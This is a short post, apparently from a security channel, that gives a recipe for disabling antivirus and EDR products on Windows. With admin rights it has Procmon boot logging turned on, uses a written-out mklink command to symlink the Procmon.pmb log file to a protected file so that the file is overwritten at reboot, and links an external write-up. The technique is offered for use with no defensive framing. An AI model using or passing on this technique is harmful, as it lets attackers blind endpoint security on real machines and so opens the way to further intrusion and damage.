How to kill AV/EDR (of different kinds) with a couple of clicks

Requirements:
- Admin rights on the machine;
- Ability to deliver procmon.
And then everything is more than straightforward.

1. Enable the "EnableBootLogging" feature;
2. Create a symbolic link:
mklink C:\Windows\Procmon.pmb "<Full path to the file that needs to be overwritten>"
3. Reboot the machine.

Magic happens.

More details:
https://www.zerosalarium.com/2025/09/Break-Protective-Shell-Windows-Defender-Folder-Redirect-Technique-Symlink.html